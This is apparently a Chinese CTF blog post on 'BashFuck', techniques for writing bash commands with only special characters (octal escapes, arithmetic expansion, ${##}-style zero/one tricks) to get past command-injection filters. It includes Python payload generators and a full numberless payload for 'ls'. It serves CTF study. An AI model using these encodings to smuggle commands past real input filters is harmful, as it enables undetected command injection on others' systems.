浅谈BashFuck

0x0e前言

本来是在CTF刷刷题目,然后有个知识点不太明白所以就去找着了lazy师傅问了一下,结果发了一个bashfuck的知识点过来(x,本来一个简单的绕过却有了新的思路,索性来记录一下。

#注意:因为debian、Ubuntu系统的sh软连接是到dash的,centos的sh软链接连接到bash,但是kali的zsh不是很兼容dash所以IFS就解析不了,还是直接用空格代替即可

0x01common_oct

这个就是最常规的可以用十六进制,或者八进制来执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
sum_data = ''
str1 = input("请输入要转化的命令:")
str1 = str1.strip()  # 去除首尾空格
data_len = len(str1)  # 判断总长度来循环
for i in range(data_len):
    data = ord(str1[i])
    if data == ord(' '):  # 检查空格字符
        sum_data += "'$IFS$'"
    else:
        data_8 = oct(data)[2:]
        final_data = '\\' + data_8
        sum_data += final_data
print("common_oct")
print("$'" + sum_data + "'")

出来直接使用即可,在kali里面的ifs直接用空格代替即可 example:

1
$'\154\163' #= ls

0x02bashfuck_x

运用到的原理就是算术拓展$(()),这个的返回值为0,并且可以有这种用法$((1<<1)#2binary)来构造出一些命令 还是拿ls来举例子,如果不去利用二进制来构造可以这么写

1
"$"''\''\'$(($((1))54))'\'$(($((1))63))\'

构造出来就是common_oct的写法 然后这里也可以使用二进制来构造

1
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

因为相对于前面的你构造出54啊或者是其他数字比较麻烦,而在探姬师傅的wiki下面说明了几种可以表示0和1的方法,所以用01来代替能利用py快速的得出结果并且可以实现无数字来打 一些对应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
>echo ${#}
>0
>echo ${##}
>1
>echo ${#_}
>1
>echo ${_}
>1
>echo ${?}
>0
>echo ${?#}
>1

等等都可以用来构造 下面附上相关函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def bashfuck_x(cmd, form):
    bash_str = ''
    for c in cmd:
        bash_str += f'\\\\$(($((1<<1))#{bin(int(get_oct(c)))[2:]}))'
    payload_bit = bash_str
    payload_zero = bash_str.replace('1', '${##}')  # 用 ${##} 来替换 1
    payload_c = bash_str.replace('1', '${##}').replace('0', '${#}')  # 用 ${#} 来替换 0
    if form == 'bit':
        payload_bit = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_bit + '\\\''
        return info(payload_bit)
    elif form == 'zero':
        payload_zero = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_zero + '\\\''
        return info(payload_zero)
    elif form == 'c':
        payload_c = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payload_c + '\\\''
        return info(payload_c)

然后这里需要解决一个问题,你会发现你直接执行命令是没办法执行的,这里探姬师傅也是给出了相关的连接 https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html 总的来说就是扩展顺序,我们在八进制转义的时候已经扩展了一次,所以后面不会再次解析 所以这里就用标准输出来完成解析

1
/bin/bash<<<

所以最后的playload的前面要加上:$0<<< $0 可以表示当前脚本的文件名,在终端中,$0其实就是bash本身。

0x03bashfuck_y

这里和上面的都差不多只是对-1的取反进行了利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造
    '$(())',  # 0
    '$((~$(($((~$(())))$((~$(())))))))',  # 1
    '$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

这样就可以使用$(())去构造$'\xxx\xxx\xxx\xxx'

再引入我们前面提到的,变量赋值,我们就可以轻松的用$(())拿到sh

1
2
3
4
5
bashFuck = ''
bashFuck += '__=$(())'  # set __ to 0
bashFuck += '&&'  # splicing
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\''  # got 'sh'
# bashFuck = __=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'

得到我们第四种playload:

1
2
3
4
5
Command:ls
Charset : ! $ & ' ( ) < = \ _ { } ~
Total Used: 13
Total length = 393
Payload = __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

参考文章: https://github.com/ProbiusOfficial/bashFuck?tab=readme-ov-file